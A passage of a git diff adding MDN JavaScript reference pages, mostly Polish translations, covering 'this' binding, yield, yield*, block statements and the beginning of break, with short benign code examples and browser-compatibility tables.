+<h4 id="this_with_a_getter_or_setter"><code>this</code> with a getter or setter</h4>
+
+<p>Again, the same notion holds true when a function is invoked from a getter or a setter. A function used as getter or setter has its <code>this</code> bound to the object from which the property is being set or gotten.</p>
+
+<pre class="brush:js">function modulus(){
+ return Math.sqrt(this.re * this.re + this.im * this.im);
+}
+
+var o = {
+ re: 1,
+ im: -1,
+ get phase(){
+ return Math.atan2(this.im, this.re);
+ }
+};
+
+Object.defineProperty(o, 'modulus', {
+ get: modulus, enumerable:true, configurable:true});
+
+console.log(o.phase, o.modulus); // logs -0.78 1.4142
+</pre>
+
+<h3 id="As_a_constructor">As a constructor</h3>
+
+<p>When a function is used as a constructor (with the <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> keyword), its <code>this</code> is bound to new object being constructed.</p>
+
+<p>Note: while the default for a constructor is to return the object referenced by <code>this</code>, it can instead return some other object (if the return value isn't an object, then the <code>this</code> object is returned).</p>
+
+<pre class="brush:js">/*
+ * Constructors work like this:
+ *
+ * function MyConstructor(){
+ * // Actual function body code goes here.
+ * // Create properties on |this| as
+ * // desired by assigning to them. E.g.,
+ * this.fum = "nom";
+ * // et cetera...
+ *
+ * // If the function has a return statement that
+ * // returns an object, that object will be the
+ * // result of the |new| expression. Otherwise,
+ * // the result of the expression is the object
+ * // currently bound to |this|
+ * // (i.e., the common case most usually seen).
+ * }
+ */
+
+function C(){
+ this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2(){
+ this.a = 37;
+ return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+</pre>
+
+<p>In the last example (<code>C2</code>), because an object was returned during construction, the new object that <code>this</code> was bound to simply gets discarded. (This essentially makes the statement "<code>this.a = 37;</code>" dead code. It's not exactly dead, because it gets executed, but it can be eliminated with no outside effects.)</p>
+
+<h3 id="call_and_apply"><code>call</code> and <code>apply</code></h3>
+
+<p>Where a function uses the <code>this</code> keyword in its body, its value can be bound to a particular object in the call using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">call</a></code> or <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">apply</a></code> methods that all functions inherit from <code>Function.prototype</code>.</p>
+
+<pre class="brush:js">function add(c, d){
+ return this.a + this.b + c + d;
+}
+
+var o = {a:1, b:3};
+
+// The first parameter is the object to use as
+// 'this', subsequent parameters are passed as
+// arguments in the function call
+add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
+
+// The first parameter is the object to use as
+// 'this', the second is an array whose
+// members are used as the arguments in the function call
+add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
+</pre>
+
+<p>Note that with <code>call</code> and <code>apply</code>, if the value passed as <code>this</code> is not an object, an attempt will be made to convert it to an object using the internal <code>ToObject</code> operation. So if the value passed is a primitive like <code>7</code> or <code>'foo'</code>, it will be converted to an Object using the related constructor, so the primitive number <code>7</code> is converted to an object as if by <code>new Number(7)</code> and the string <code>'foo'</code> to an object as if by <code>new String('foo'), e.g.</code></p>
+
+<pre class="brush:js">function bar() {
+ console.log(Object.prototype.toString.call(this));
+}
+
+bar.call(7); // [object Number]
+</pre>
+
+<h3 id="The_bind_method">The <code>bind</code> method</h3>
+
+<p>ECMAScript 5 introduced <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a></code>. Calling <code>f.bind(someObject)</code> creates a new function with the same body and scope as <code>f</code>, but where <code>this</code> occurs in the original function, in the new function it is permanently bound to the first argument of <code>bind</code>, regardless of how the function is being used.</p>
+
+<pre class="brush:js">function f(){
+ return this.a;
+}
+
+var g = f.bind({a:"azerty"});
+console.log(g()); // azerty
+
+var o = {a:37, f:f, g:g};
+console.log(o.f(), o.g()); // 37, azerty
+</pre>
+
+<h3 id="As_a_DOM_event_handler">As a DOM event handler</h3>
+
+<p>When a function is used as an event handler, its <code>this</code> is set to the element the event fired from (some browsers do not follow this convention for listeners added dynamically with methods other than <code>addEventListener</code>).</p>
+
+<pre class="brush:js">// When called as a listener, turns the related element blue
+function bluify(e){
+ // Always true
+ console.log(this === e.currentTarget);
+ // true when currentTarget and target are the same object
+ console.log(this === e.target);
+ this.style.backgroundColor = '#A5D9F3';
+}
+
+// Get a list of every element in the document
+var elements = document.getElementsByTagName('*');
+
+// Add bluify as a click listener so when the
+// element is clicked on, it turns blue
+for(var i=0 ; i&lt;elements.length ; i++){
+ elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="In_an_in–line_event_handler">In an in–line event handler</h3>
+
+<p>When code is called from an in–line handler, its <code>this</code> is set to the DOM element on which the listener is placed:</p>
+
+<pre class="brush:js">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+ Show this
+&lt;/button&gt;
+</pre>
+
+<p>The above alert shows <code>button</code>. Note however that only the outer code has its <code>this</code> set this way:</p>
+
+<pre class="brush:js">&lt;button onclick="alert((function(){return this}()));"&gt;
+ Show inner this
+&lt;/button&gt;
+</pre>
+
+<p>In this case, the inner function's <code>this</code> isn't set so it returns the global/window object (i.e. the default object in non–strict mode where <code>this</code> isn't set by the call).</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition. Implemented in JavaScript 1.0</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ <td>{{ CompatVersionUnknown() }}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">Strict mode</a></li>
+ <li><a href="http://bjorn.tipling.com/all-this">All this</a>, an article about <code>this</code> in different contexts</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/yield/index.html b/files/pl/web/javascript/referencje/operatory/yield/index.html
new file mode 100644
index 0000000000..8d814a5aa8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/yield/index.html
@@ -0,0 +1,168 @@
+---
+title: yield
+slug: Web/JavaScript/Referencje/Operatory/yield
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Słowo kluczowe <code>yield</code> jest używane do zatrzymania i powrotu funkcji generatora ({{jsxref("Statements/function*", "function*")}} lub <a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">legacy generator function</a>).</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">[<em>rv</em>] = <strong>yield</strong> [<em>expression</em>];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Definiuje wartość która ma być zwrócona przez funkcję generatora przez <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#The_iterator_protocol">the iterator protocol</a>, jeżeli pominięte, zostanie zwrócone <code>undefined</code>.</dd>
+ <dt><code>rv</code></dt>
+ <dd>
+ <p>Zwraca opcjonalną wartość przekazaną do metody next() generatora, do powrotu do jej wykonania.</p>
+ </dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>The <code>yield</code> keyword causes generator function execution to pause and the value of the expression following the <code>yield</code> keyword is returned to the generator's caller. It can be thought of as a generator-based version of the <code>return</code> keyword.</p>
+
+<p>The <code>yield</code> keyword actually returns an <code>IteratorResult</code> object with two properties, <code>value</code> and <code>done</code>. The <code>value</code> property is the result of evaluating the <code>yield</code> expression, and <code>done</code> is <code>false</code>, indicating that the generator function has not fully completed.</p>
+
+<p>Once paused on a <code>yield</code> expression, the generator's code execution remains paused until the generator's <code>next()</code> method is called. Each time the generator's <code>next()</code> method is called, the generator resumes execution and runs until it reaches one of the following:</p>
+
+<ul>
+ <li> A <code>yield</code>, which causes the generator to once again pause and return the generator's new value. The next time <code>next()</code> is called, execution resumes with the statement immediately after the <code>yield</code>.</li>
+ <li>{{jsxref("Statements/throw", "throw")}} is used to throw an exception from the generator. This halts execution of the generator entirely, and execution resumes in the caller as is normally the case when an exception is thrown.</li>
+ <li>The end of the generator function is reached; in this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is {{jsxref("undefined")}} and <code>done</code> is <code>true</code>.</li>
+ <li>A {{jsxref("Statements/return", "return")}} statement is reached. In this case, execution of the generator ends and an <code>IteratorResult</code> is returned to the caller in which the <code>value</code> is the value specified by the <code>return</code> statement and <code>done</code> is <code>true</code>.</li>
+</ul>
+
+<p>If an optional value is passed to the generator's <code>next()</code> method, that value becomes the value returned by the generator's current <code>yield</code> operation.</p>
+
+<p>Between the generator's code path, its <code>yield</code> operators, and the ability to specify a new starting value by passing it to {{jsxref("Generator.prototype.next()")}}, generators offer enormous power and control.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The following code is the declaration of an example generator function.</p>
+
+<pre class="brush: js">function* foo() {
+ var index = 0;
+ while (index &lt;= 2)
+ yield index++;
+}</pre>
+
+<p>Once a generator function is defined, it can be used by constructing an iterator as shown.</p>
+
+<pre class="brush: js">var iterator = foo();
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#', 'Yield')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>39</td>
+ <td>{{CompatGeckoDesktop("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoDesktop("29.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("26.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{ CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ <tr>
+ <td><code>IteratorResult</code> object instead of throwing</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatGeckoMobile("29.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 29 {{geckoRelease(29)}}, the completed generator function no longer throws a {{jsxref("TypeError")}} "generator has already finished". Instead, it returns an <code>IteratorResult</code> object like <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li>
+ <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the <code>yield</code> expression has been updated to conform with the ES2015 specification ({{bug(981599)}}):
+ <ul>
+ <li>The expression after the <code>yield</code> keyword is optional and omitting it no longer throws a {{jsxref("SyntaxError")}}: <code>function* foo() { yield; }</code></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/operatory/yield_star_/index.html b/files/pl/web/javascript/referencje/operatory/yield_star_/index.html
new file mode 100644
index 0000000000..ddef530622
--- /dev/null
+++ b/files/pl/web/javascript/referencje/operatory/yield_star_/index.html
@@ -0,0 +1,200 @@
+---
+title: yield*
+slug: Web/JavaScript/Referencje/Operatory/yield*
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong><code>Wyrażenie yield*</code> </strong> służy do wydelegowania działania generatora do innego {{jsxref("Statements/function*", "generatora")}} lub obiektu iterowalnego.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}</div>
+
+<p class="hidden">Źródło poniższego interaktywnego przykładu przechowywane jest w repozytorium na GitHub. Jeśli chcesz współtworzyć projekt interaktywnych przykładów, sklonuj <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> i wyślij nam pull request.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"> yield* [[expression]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Wyrażenie, które zwraca iterowalny obiekt lub generator.</dd>
+</dl>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>yield*</code> iteruje po iterowalnym obiekcie i wywołuje <code>yield</code> z każdą kolejną zwracaną przez niego wartością.</p>
+
+<p>Wartość samego <code>yield*</code> jest wartością zwróconą przez iterator w momencie jego zakończenia (tzn. kiedy <code>done</code> ma wartość <code>true</code>).</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Delegowanie_logiki_do_osobnego_generatora">Delegowanie logiki do osobnego generatora</h3>
+
+<p>W poniższym kodzie wartości <code>yeld</code> dla  <code>g1()</code> zwracane są przy wywołaniu <code>next()</code> dokładnie tak samo jak te, które zwraca <code>yeld</code> generatora <code>g2()</code>.</p>
+
+<pre class="brush: js">function* g1() {
+ yield 2;
+ yield 3;
+ yield 4;
+}
+
+function* g2() {
+ yield 1;
+ yield* g1();
+ yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: 3, done: false}
+console.log(iterator.next()); // {value: 4, done: false}
+console.log(iterator.next()); // {value: 5, done: false}
+console.log(iterator.next()); // {value: undefined, done: true}
+</pre>
+
+<h3 id="Inne_obiekty_iterowalne">Inne obiekty iterowalne</h3>
+
+<p><code>yield*</code> może wywoływać <code>yield</code> z wartościami dostarczanymi przez inne rodzje obiektów iterowalnych , np. tablice, stringi lub obiekt <code>arguments</code>.</p>
+
+<pre class="brush: js">function* g3() {
+ yield* [1, 2];
+ yield* '34';
+ yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: "3", done: false}
+console.log(iterator.next()); // {value: "4", done: false}
+console.log(iterator.next()); // {value: 5, done: false}
+console.log(iterator.next()); // {value: 6, done: false}
+console.log(iterator.next()); // {value: undefined, done: true}
+</pre>
+
+<h3 id="Wartość_samego_wyrażenia_yield*">Wartość samego wyrażenia <code>yield*</code></h3>
+
+<p><code>yield*</code> jest wyrażeniem (expression) a nie statement, więc rozwiązuje się do konkretnej wartości.</p>
+
+<pre class="brush: js">function* g4() {
+ yield* [1, 2, 3];
+ return 'foo';
+}
+
+var result;
+
+function* g5() {
+ result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // {value: 1, done: false}
+console.log(iterator.next()); // {value: 2, done: false}
+console.log(iterator.next()); // {value: 3, done: false}
+console.log(iterator.next()); // {value: undefined, done: true},
+  // g4() zwrócił w tym momencie {value: 'foo', done: true}
+
+console.log(result); // "foo"
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('ES2015', '#', 'Yield')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("27.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("27.0")}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatSafari("10")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Firefox-specific_notes">Firefox-specific notes</h2>
+
+<ul>
+ <li>Starting with Gecko 33 {{geckoRelease(33)}}, the parsing of the yield expression has been updated to conform with the ES2015 specification ({{bug(981599)}}):
+ <ul>
+ <li>The line terminator restriction is now implemented. No line terminator between "yield" and "*" is allowed. Code like the following will throw a {{jsxref("SyntaxError")}}:
+ <pre class="brush: js">function* foo() {
+ yield
+ *[];
+}</pre>
+ </li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/block/index.html b/files/pl/web/javascript/referencje/polecenia/block/index.html
new file mode 100644
index 0000000000..bbc5c7e4fb
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/block/index.html
@@ -0,0 +1,160 @@
+---
+title: block
+slug: Web/JavaScript/Referencje/Polecenia/block
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<p><strong>Blok instrukcji</strong> jest stosowany do zgrupowania zero lub więcej instrukcji. Blok jest ograniczony parą nawiasów klamrowych i opcjonalnie może posiadać etykietę.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<h3 id="Blok">Blok</h3>
+
+<pre class="eval">{ ListaInstrukcji }
+</pre>
+
+<h3 id="Blok_z_etykietą">Blok z etykietą</h3>
+
+<pre>EtykietaBloku: { ListaInstrukcji }</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>ListaInstrukcji</code></dt>
+ <dd>Instrukcje zgrupowane w bloku.</dd>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">EtykietaBloku</span></font></dt>
+ <dd>Opcjonalna <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/etykieta">etykieta</a> dla wizualnej identyfikacji lub jako cel dla <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/break">break</a>.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Blok instrukcji nazywany jest również w innych językach <strong>instrukcjami złożonymi</strong>. Pozwala użyć wielu instrukcji tam, gdzie JavaScript pozwala użyć tylko jednej. Składanie instrukcji w bloki jest powszechną praktyką w JavaScript. Za pomocą bloku można uzyskać też efekt przeciwny - brak instrukcji tam, gdzie jest wymagana.</p>
+
+<h3 id="Reguły_zasięgu_bloku">Reguły zasięgu bloku</h3>
+
+<h4 id="Zasięg_var">Zasięg <code>var</code></h4>
+
+<p>Zmienne tworzone poprzez <code>var</code> <strong>nie mają </strong>zasięgu bloku. Zmienne zadeklarowane w bloku są ograniczone do funkcji lub skryptu zawierającego, a efektyoperacji na nich utrzymują się poza samym blokiem. Innymi słowy, instrukcje blokowe nie wprowadzają zakresu. Chociaż "samodzielne" bloki są poprawną składnią, nie chcesz używać niezależnych bloków w JavaScript, ponieważ nie robią tego, co myślisz, że robią, jeśli myślisz, że robią coś takiego jak w C lub Java. Na przykład:</p>
+
+<pre><code>var x = 1;
+{
+ var x = 2;
+}
+console.log(x); // zwraca 2</code>
+</pre>
+
+<p>Otrzymujesz 2, ponieważ instrukcja <code>var x = 2</code>, która jest w bloku jest w tym samym zasięgu co instrukcja przed blokiem. W C lub Javie podobny kod zwróciłby 1.</p>
+
+<h4 id="Zasięg_let_i_const">Zasięg <code>let</code> i <code>const</code></h4>
+
+<p>Dla odmiany identyfikatory stworzone z użyciem <a href="en-US/docs/Web/JavaScript/Reference/Statements/let">let</a> i <a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/const">const</a> <strong>posiadają</strong> zakres blokowy:</p>
+
+<pre><code>let x = 1;
+{
+ let x = 2;
+}
+console.log(x); // zwraca 1</code>
+</pre>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">Instrukcja </span></font>x = 2</code> jest ograniczona w zakresie bloku, w którym została zdefiniowana.</p>
+
+<p>To samo odnosi się do <code>const</code>:</p>
+
+<pre><code>const c = 1;
+{
+ const c = 2;
+}
+console.log(c); // zwraca 1 i nie rzuca wyjątkiem SyntaxError.</code>
+</pre>
+
+<p>Zauważ, że <code>const c = 2</code> nie rzuca wyjątku <code>SyntaxError: Identifier 'c' has already been declared</code>, ponieważ może być zadeklarowane unikalnie w ramach bloku.</p>
+
+<h4 id="Zasięg_funkcji">Zasięg <code>funkcji</code></h4>
+
+<p>Funkcja zadeklarowana w bloku również widzialna jest w zakresie tego bloku:</p>
+
+<pre><code>foo('outside'); // TypeError: foo is not a function
+{
+ function foo(location) {
+ console.log('foo is called ' + location);
+ }
+ foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
+}</code>
+</pre>
+
+<p>Bardziej precyzyjnie mówiąc blok instrukcji zapobiega <a href="/pl/docs/Glossary/Hoisting">Hoisting</a>owi deklaracji funkcji na początek zakresu. Funkcja zachowuje się tak, jakby była zdefiniowana jako wyrażenie funkcji i jako taka jest tylko deklaracją zmiennej, która zostaje podniesiona do góry, na początek zakresu:</p>
+
+<pre><code>foo; // zwraca undefined
+{
+ function foo(location) {
+ console.log('foo is called ' + location);
+ }
+ foo('inside'); // wykonuje się poprawnie i zwraca 'foo is called inside'
+}</code></pre>
+
+<p>Konsekwentnie to znaczy, że gdy przeniesiemy wywołanie funkcji poniżej jej deklaracji - nie otrzymamy błędu:</p>
+
+<pre><code>{
+ function foo(location) {
+ console.log('foo is called ' + location);
+ }
+ foo('inside'); // works correctly and logs 'foo is called inside'
+}
+foo('outside'); // works correctly and logs 'foo is called outside'</code>
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-block', 'Block statement')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-block', 'Block statement')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES1', '#sec-12.1', 'Block statement')}}</td>
+ <td>{{Spec2('ES1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div class="hidden">
+<p>Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych. Jeśli chcesz przyczynić się do danych, sprawdź https://github.com/mdn/browser-compat-data i wyślij nam prośbę o wycofanie.</p>
+</div>
+
+<p>{{Compat("javascript.statements.block")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/while">while</a></li>
+ <li><a href="/pl/docs/Web/JavaScript/Referencje/Polecenia/if...else">if...else</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/polecenia/break/index.html b/files/pl/web/javascript/referencje/polecenia/break/index.html
new file mode 100644
index 0000000000..661b130d71
--- /dev/null
+++ b/files/pl/web/javascript/referencje/polecenia/break/index.html
@@ -0,0 +1,67 @@
+---
+title: break
+slug: Web/JavaScript/Referencje/Polecenia/break
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<p>
+</p>
+<h3 id="Podsumowanie" name="Podsumowanie"> Podsumowanie </h3>
+<p>Przerywa aktualnie wykonywaną pętlę, konstrukcję <code>switch</code> i przekazuje sterowanie programu do polecenia za pętlą lub za wskazaną etykietą.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<td class="header" colspan="2">Polecenie</td>
+</tr>
+<tr>
+<td>Zaimplementowane w:</td>
+<td>JavaScript 1.0, NES 2.0</td>
+</tr>
+<tr>
+<td>Wersja ECMA:</td>
+<td>ECMA-262 (wersja bez etykiety)
+<p>ECMA-262, Edycja 3 (wersja z etykietą)
+</p>
+</td>
+</tr>
+</tbody></table>
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia"> Składnia </h3>
+<p><code>
+break {{ mediawiki.external('<i>etykieta</i>') }}
+</code>
+</p>
+<h3 id="Parametry" name="Parametry"> Parametry </h3>
+<dl><dt> <code>etykieta</code> </dt><dd> Identyfikator przypisany etykiecie polecenia.
+</dd></dl>
+<h3 id="Opis" name="Opis"> Opis </h3>
